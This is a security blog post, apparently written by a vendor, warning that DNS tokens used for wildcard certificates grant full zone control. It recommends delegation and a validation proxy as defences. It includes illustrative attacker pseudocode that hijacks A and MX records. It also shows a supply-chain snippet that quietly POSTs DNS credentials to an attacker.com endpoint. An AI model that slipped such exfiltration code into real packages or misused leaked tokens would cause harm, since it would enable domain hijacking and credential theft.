That wildcard certificate you just set up for *.yourapp.com
?
You probably gave some random script full access to your entire DNS zone. The same zone that controls your email. Your subdomains. Your everything.
Let me show you exactly how badly you just compromised your infrastructure, and why nobody’s talking about it.
The Code You Just Ran Without Reading
Be honest. You googled “wildcard certificate nginx” and ran the first tutorial you found. It looked something like this:
# "Just run this, it's fine!"
certbot certonly \
--dns-cloudflare \
--dns-cloudflare-credentials ~/.secrets/cloudflare.ini \
-d '*.yourapp.com'
Harmless, right? Let’s look at what’s in that credentials file:
# cloudflare.ini
dns_cloudflare_api_token = your-api-token-with-zone-edit-permissions
Congrats. You just gave CertBot—and any process that can read that file—the ability to:
- Delete all your DNS records
- Redirect your domain anywhere
- Intercept your email
- Create subdomain takeovers
- Basically destroy your entire online presence
What That API Token Can Actually Do
When you create a DNS API token for wildcard certificates, you need Zone:DNS:Edit
permissions. Sounds reasonable. Here’s what that actually means in code:
// What you think you're allowing:
await updateDNSRecord({
type: 'TXT',
name: '_acme-challenge',
content: 'some-validation-string'
});
// What you're ACTUALLY allowing:
await deleteAllDNSRecords();
await createDNSRecord({
type: 'A',
name: '@',
content: '1.2.3.4' // attacker's server
});
await createDNSRecord({
type: 'MX',
name: '@',
content: 'attacker-mail-server.com'
});
await deleteRecord('SPF');
await deleteRecord('DMARC');
// ... goodbye, domain
That token doesn’t just add TXT records for ACME challenges. It can modify, delete, or replace ANY record in your zone.
Real Attack Scenarios That Should Terrify You
Scenario 1: The Leaked Credentials File
Your .ini
file with DNS credentials gets committed to a repo. “It’s a private repo,” you say. Until:
- Someone’s GitHub token gets compromised
- An employee goes rogue
- You accidentally make the repo public for 30 seconds
- GitHub Copilot suggests it in someone else’s code (yes, this happens)
Now attackers have your DNS. Not your server. Your entire DNS zone.
Scenario 2: The Compromised Server
Your web server gets popped through an unrelated vulnerability. The attacker finds your CertBot credentials sitting at ~/.secrets/cloudflare.ini
.
They don’t need root. They don’t need to escalate privileges. They just need to read one file that your web user has access to (because CertBot runs as that user).
Scenario 3: The Supply Chain Attack
That CertBot plugin you’re using? Or that Node.js ACME library? They’re open source. Maintained by volunteers. What happens when:
// node_modules/some-acme-client/index.js
// After a "helpful" PR that "fixes DNS validation issues"
async function validateDNS(credentials) {
// Original code
await createTXTRecord('_acme-challenge', challenge);
// Sneaky addition
if (Math.random() < 0.001) { // 0.1% chance, hard to detect
await fetch('https://attacker.com/steal-creds', {
method: 'POST',
body: JSON.stringify(credentials)
});
}
return true;
}
Your DNS credentials are now being slowly exfiltrated. One in a thousand renewals. You’ll never notice.
The “Best Practice” That’s Actually Worse
“Use a separate AWS account for Route53!” they say. “Principle of least privilege!”
Cool. Now you have:
- DNS credentials in AWS Account B
- Your app in AWS Account A
- Cross-account IAM roles
- Credentials that need to cross boundaries
- More complex automation
- The same fundamental problem: Your app still has full DNS access
You’ve added complexity without solving the core issue.
The Fix Nobody Tells You About
Here’s what you should actually do:
Solution 1: DNS Delegation for Validation
Create a separate DNS zone just for ACME validation:
// Your main zone (protected)
example.com
├── A: 1.2.3.4
├── MX: mail.example.com
└── CNAME: _acme-challenge -> _acme-challenge.acme.example.com
// Separate validation zone (expendable)
acme.example.com
└── TXT: _acme-challenge (ACME can only touch this)
Now your ACME client only needs access to acme.example.com
. If it gets compromised, attackers can’t touch your actual domain.
Implementation:
# In your main DNS zone, add:
_acme-challenge.example.com. CNAME _acme-challenge.acme.example.com.
# Give CertBot credentials only for acme.example.com zone
# Your main zone stays protected
Solution 2: Proxy Your DNS Validation
Build or use a proxy service that only allows TXT record updates for ACME:
// Simple DNS validation proxy
const express = require('express');
const app = express();
app.post('/update-acme-challenge', async (req, res) => {
const { domain, value } = req.body;
// CRITICAL: Validate this is only ACME challenges
if (!domain.startsWith('_acme-challenge.')) {
return res.status(403).send('Nice try');
}
if (!value.match(/^[a-zA-Z0-9_-]{43}$/)) {
return res.status(403).send('Invalid ACME challenge');
}
// Only NOW do we use the real DNS credentials
await updateDNSRecord({
type: 'TXT',
name: domain,
content: value,
ttl: 60 // Short TTL for challenges
});
res.send('OK');
});
// Your CertBot hooks call this proxy, not DNS directly
Solution 3: Use a Service That Gets It
Some services handle this correctly by design. They proxy DNS validation without ever giving you (or your scripts) full DNS access. You authenticate with them, they handle the DNS dance with limited permissions.
We built this into CertKit because we were tired of seeing companies hand over their DNS keys. But whether you use our service or build your own proxy, the key is: never give automated processes full DNS access.
What You Should Do Today
- Audit your DNS token permissions – What can they really do?
- Implement DNS delegation – Separate your ACME challenges
- Rotate your credentials – Assume they’re already compromised
- Use short-lived tokens – If your provider supports it
- Monitor DNS changes – Get alerts for any modifications
- Consider alternatives – Maybe you don’t need wildcards
The wildcard certificate you set up in 5 minutes? It might be the most dangerous configuration in your entire stack.
At least now you know.